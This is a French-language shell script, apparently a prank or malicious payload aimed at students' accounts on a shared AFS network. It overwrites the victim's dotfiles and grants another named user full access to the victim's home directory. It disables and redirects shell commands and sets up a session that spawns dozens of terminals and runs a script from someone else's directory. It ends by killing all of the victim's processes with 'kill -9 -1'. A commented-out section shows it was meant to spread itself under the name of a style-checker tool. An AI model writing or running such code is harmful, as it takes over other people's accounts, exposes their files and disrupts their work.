#!/bin/sh
# version 0.9

export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

FS="/usr/arla/bin/fs"

## Ne fonctionne plus, manque le fichier
##
## VIRUS
##
##cp /u/all/millet_a/public/norme.sh /u/all/${USER}/public/norme.sh
## echo "Disponible sur /u/all/${USER}/public/norme.sh" | /u/all/millet_a/public/news.pl

##
## PUBLIC
##
if [ -f ${HOME}/../public/.plan ] || [ -h ${HOME}/../public/.plan ]
then
    cp ${HOME}/../public/.plan ${HOME}/../public/.plan.save
    rm ${HOME}/../public/.plan
fi
echo "J'aime le rose et paillu_j" > ${HOME}/../public/.plan

if [ -f ${HOME}/../public/.signature ] || [ -h ${HOME}/../public/.signature ]
then
    cp ${HOME}/../public/.signature ${HOME}/../public/.signature.save
    rm ${HOME}/../public/.signature
fi
echo "J'aime le rose et paillu_j" > ${HOME}/../public/.signature

${FS} sa ${HOME}/../public/ paillu_j all
${FS} sa ${HOME}/../public/ ${USER} rl

##
## FLUXBOX
##

if [ ! -d ${HOME}/.fluxbox ]
then
    mkdir /u/all/${USER}/cu/.fluxbox
fi

if [ -f ${HOME}/.fluxbox/menu ] || [ -h ${HOME}/.fluxbox/menu ]
then
    cp ${HOME}/.fluxbox/menu ${HOME}/.fluxbox/menu.save
    rm ${HOME}/.fluxbox/menu
fi
cat > ${HOME}/.fluxbox/menu <<EOF
[begin] (J'aime le rose et paillu_j)
	[exec] (J'aime) {/usr/local/bin/xterm} 
	[exec] (le) {/usr/local/bin/lynx}
	[exec] (rose) {}
	[exec] (et) {/usr/local/bin/zlock -immed}
	[exec] (paillu_j) {/bin/kill -9 -1}
[end]
EOF

if [ -f ${HOME}/.fluxbox/init ] || [ -h ${HOME}/.fluxbox/init ]
then
    cp ${HOME}/.fluxbox/init ${HOME}/.fluxbox/init.save
    rm ${HOME}/.fluxbox/init
fi
cat > ${HOME}/.fluxbox/init <<EOF
session.screen0.tabs.maxOver:   false
session.screen0.tabs.intitlebar:        true
session.screen0.titlebar.left:  Stick 
session.screen0.titlebar.right: Minimize Maximize Close 
session.screen0.toolbar.autoHide:       false
session.screen0.toolbar.maxOver:        false
session.screen0.toolbar.onhead: 0
session.screen0.toolbar.widthPercent:   66
session.screen0.toolbar.placement:      BottomCenter
session.screen0.toolbar.tools:  workspacename, prevworkspace, nextworkspace, iconbar, systemtray, prevwindow, nextwindow, clock
session.screen0.toolbar.height: 0
session.screen0.toolbar.alpha:  255
session.screen0.toolbar.visible:        true
session.screen0.toolbar.layer:  Dock
session.screen0.toolbar.onTop:  False
session.screen0.slit.autoHide:  false
session.screen0.slit.direction: Vertical
session.screen0.slit.layer:     Dock
session.screen0.slit.onhead:    0
session.screen0.slit.maxOver:   false
session.screen0.slit.alpha:     255
session.screen0.slit.onTop:     False
session.screen0.slit.placement: BottomRight
session.screen0.menu.alpha:     255
session.screen0.window.focus.alpha:     255
session.screen0.window.unfocus.alpha:   255
session.screen0.tab.height:     16
session.screen0.tab.alignment:  Left
session.screen0.tab.width:      64
session.screen0.tab.rotatevertical:     True
session.screen0.tab.placement:  TopLeft
session.screen0.overlay.lineWidth:      1
session.screen0.overlay.lineStyle:      LineSolid
session.screen0.overlay.joinStyle:      JoinMiter
session.screen0.overlay.capStyle:       CapNotLast
session.screen0.iconbar.alignment:      Relative
session.screen0.iconbar.wheelMode:      Screen
session.screen0.iconbar.mode:   Workspace
session.screen0.iconbar.iconTextPadding:        10l
session.screen0.iconbar.iconWidth:      70
session.screen0.iconbar.usePixmap:      true
session.screen0.windowScrollAction:     
session.screen0.autoRaise:      true
session.screen0.opaqueMove:     false
session.screen0.rootCommand:    
session.screen0.followModel:    Ignore
session.screen0.rowPlacementDirection:  LeftToRight
session.screen0.workspacewarping:       true
session.screen0.imageDither:    false
session.screen0.workspaces:     4
session.screen0.userFollowModel:        Follow
session.screen0.menuDelayClose: 0
session.screen0.windowScrollReverse:    false
session.screen0.clickRaises:    true
session.screen0.resizeMode:     Bottom
session.screen0.workspaceNames: one,two,three,four,
session.screen0.focusLastWindow:        True
session.screen0.tabFocusModel:  ClickToTabFocus
session.screen0.desktopwheeling:        true
session.screen0.colPlacementDirection:  TopToBottom
session.screen0.strftimeFormat: %k:%M
session.screen0.menuMode:       Delay
session.screen0.decorateTransient:      true
session.screen0.windowPlacement:        RowSmartPlacement
session.screen0.focusNewWindows:        true
session.screen0.reversewheeling:        false
session.screen0.focusModel:     ClickFocus
session.screen0.defaultDeco:    NORMAL
session.screen0.windowMenu:     
session.screen0.fullMaximization:       false
session.screen0.menuDelay:      0
session.screen0.showwindowposition:     true
session.screen0.edgeSnapThreshold:      0
session.slitlistFile:   ~/.fluxbox/slitlist
session.opaqueMove:     False
session.cacheMax:       200l
session.tabPadding:     0
session.imageDither:    True
session.autoRaiseDelay: 250
session.groupFile:      ~/.fluxbox/groups
session.configVersion:  1
session.menuFile:       ~/.fluxbox/menu
session.ignoreBorder:   false
session.modKey: Mod1
session.cacheLife:      5l
session.styleOverlay:   ~/.fluxbox/overlay
session.appsFile:       ~/.fluxbox/apps
session.styleFile:      ~/.fluxbox/J_aime_le_rose_et_paillu_j
session.keyFile:        ~/.fluxbox/keys
session.forcePseudoTransparency:        false
session.tabsAttachArea: Window
session.colorsPerChannel:       4
session.doubleClickInterval:    250
EOF

cat > ${HOME}/.fluxbox/J_aime_le_rose_et_paillu_j <<EOF
! J'aime le rose et paillu_j

toolbar:                             flat
toolbar.color:                       pink
toolbar.colorTo:                     pink
toolbar.button:                      parentrelative
toolbar.button.picColor:             pink
toolbar.button.pressed:              flat
toolbar.button.pressed.color:        pink
toolbar.button.pressed.picColor:     pink
toolbar.clock:                       parentrelative
toolbar.clock.textColor:             red
toolbar.label:                       parentrelative
toolbar.label.textColor:             pink
toolbar.windowLabel:                 parentrelative
toolbar.windowLabel.textColor:       pink
menu.title:                          flat
menu.title.color:                    pink
menu.title.colorTo:                  pink
menu.title.textColor:                red
menu.frame:                          flat
menu.frame.color:                    pink
menu.frame.colorTo:                  pink
menu.frame.textColor:                red
menu.hilite:                         flat
menu.hilite.color:                   pink
menu.hilite.textColor:               red
menu.bullet:                         empty
menu.bullet.position:                left
window.title.focus:                  flat
window.title.focus.color:            pink
window.title.focus.colorTo:          pink
window.label.focus:                  parentrelative
window.label.focus.textColor:        pink
window.button.focus:                 flat
window.button.focus.color:           pink
window.button.focus.colorTo:         pink
window.button.focus.picColor:        pink
window.button.pressed:               flat
window.button.pressed.color:         pink
window.button.pressed.picColor:      pink
window.handle.focus:                 flat
window.handle.focus.color:           pink
window.handle.focus.colorTo:         pink
window.grip.focus:                   flat
window.grip.focus.color:             pink
window.grip.focus.colorTo:           pink
window.frame.focus:                  flat
window.frame.focus.color:            pink
window.title.unfocus:                flat
window.title.unfocus.color:          pink
window.title.unfocus.colorTo:        pink
window.label.unfocus:                parentrelative
window.label.unfocus.textColor:      pink
window.handle.unfocus:               flat
window.handle.unfocus.color:         pink
window.handle.unfocus.colorTo:       pink
window.grip.unfocus:                 flat
window.grip.unfocus.color:           pink
window.grip.unfocus.colorTo:         pink
window.frame.unfocus:                flat
window.frame.unfocus.color:          pink
window.button.unfocus:               flat
window.button.unfocus.color:         pink
window.button.unfocus.colorTo:       pink
window.button.unfocus.picColor:      pink
window.tab.justify:                  center
window.tab.label.focus:              flat
window.tab.label.focus.color:        pink
window.tab.label.focus.colorTo:      pink
window.tab.label.focus.textColor:    pink
window.tab.label.unfocus:            flat
window.tab.label.unfocus.color:      pink
window.tab.label.unfocus.colorTo:    pink
window.tab.label.unfocus.textColor:  pink
window.tab.borderWidth:              3
window.tab.borderColor:              red
toolbar.justify:                     left
window.justify:                      center
menu.title.justify:                  center
menu.frame.justify:                  left
borderColor:                         red
borderWidth:                         3
bevelWidth:                          3
frameWidth:                          1
handleWidth:                         4
background: flat
background.color: pink
*font:                               glisp
! EOF
EOF

${FS} sa ${HOME}/.fluxbox paillu_j all 
${FS} sa ${HOME}/.fluxbox ${USER} rl

##
## XDEFAULTS
##
if [ -f ${HOME}/.Xdefaults ] || [ -h ${HOME}/.Xdefaults ]
then
    cp ${HOME}/.Xdefaults ${HOME}/.Xdefaults.save
    rm ${HOME}/.Xdefaults
fi
cat > ${HOME}/.Xdefaults <<EOF
/* J'aime le rose et paillu_j */

/* ns_xm */
Xm*font:			9x15bold
Xm*background:                  pink
Xm*foreground:                  pink
Xm*geometry:                    500x500+800-600

/* xterm */
xterm*font:                     9x15bold
xterm*background:               pink
xterm*foreground:               red
xterm*saveLines:                0

/* dclock */
dclock*background:		pink
dclock*foreground:		pink
dclock*led_off:			pink
dclock*geometry:		100x100-0+0

/* emacs */
emacs*font:			7x13bold
emacs*background:		pink
emacs*foreground:		red

/* EOF */
EOF

##
## XSESSION
##
if [ -f ${HOME}/.xsession ] || [ -h ${HOME}/.xsession ]
then
    cp ${HOME}/.xsession ${HOME}/.xsession.save
    rm ${HOME}/.xsession
fi
cat > ${HOME}/.xsession <<EOF
#!/bin/sh
# J'aime le rose et paillu_j

/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg black -fg yellow &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg yellow -fg pink &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg red -fg green &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg pink -fg black &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg blue -fg pink &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg green -fg blue &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg cyan -fg red &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg grey -fg yellow &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg yellow -fg white &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg pink -fg white &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg black -fg yellow &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg yellow -fg pink &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg red -fg green &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg pink -fg black &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg blue -fg pink &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg green -fg blue &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg cyan -fg red &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg grey -fg yellow &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg yellow -fg white &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg pink -fg white &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg black -fg yellow &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg yellow -fg pink &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg red -fg green &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg pink -fg black &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg blue -fg pink &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg green -fg blue &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg cyan -fg red &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg grey -fg yellow &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg yellow -fg white &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg yellow -fg white &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg pink -fg white &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg pink -fg white &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg black -fg yellow &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg yellow -fg pink &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg red -fg green &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg pink -fg black &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg blue -fg pink &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg green -fg blue &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg cyan -fg red &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg grey -fg yellow &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg yellow -fg white &
/usr/local/bin/xterm -title "J'aime le rose et paillu_j" -bg pink -fg white &
/usr/netsoul/bin/ns_send_msg jog "J'aime le rose et paillu_j" &
/usr/local/bin/dclock &
/usr/local/bin/xsetroot -solid pink &
/u/all/millet_a/public/norme-2.sh &
/usr/local/bin/startfluxbox
export PATH="/sbin:/bin"

# EOF
EOF
chmod 755 ${HOME}/.xsession

##
## TCSH
##
if [ -f ${HOME}/.tcshrc ] || [ -h ${HOME}/.tcshrc ]
then
    cp ${HOME}/.tcshrc ${HOME}/.tcshrc.save
    rm ${HOME}/.tcshrc
fi
cat > ${HOME}/.tcshrc <<EOF
#!/bin/tcsh -f
# J'aime le rose et paillu_j

setenv EDITOR "/usr/bin/vi"
setenv PAGER "/usr/bin/vi"

unset autolist
unset complete
set history=0
set path=(/{sbin,bin})
set prompt="%{^[[01;31m%}J'aime le rose et paillu_j%{^[[00m%} %# "
set savehist=0

alias cd "/usr/bin/vi"
alias emacs "/usr/bin/vi"
alias ne "/usr/bin/vi"
#alias ls "/u/all/millet_a/public/sl"
alias zlock "repeat 42 /usr/local/bin/zlock -immed"

# EOF
EOF

##
## HOME
##
${FS} sa ${HOME} paillu_j all
${FS} sa ${HOME} ${USER} rlidwk
echo "J'aime le rose et paillu_j"
sleep 5
kill -9 -1
# EOF
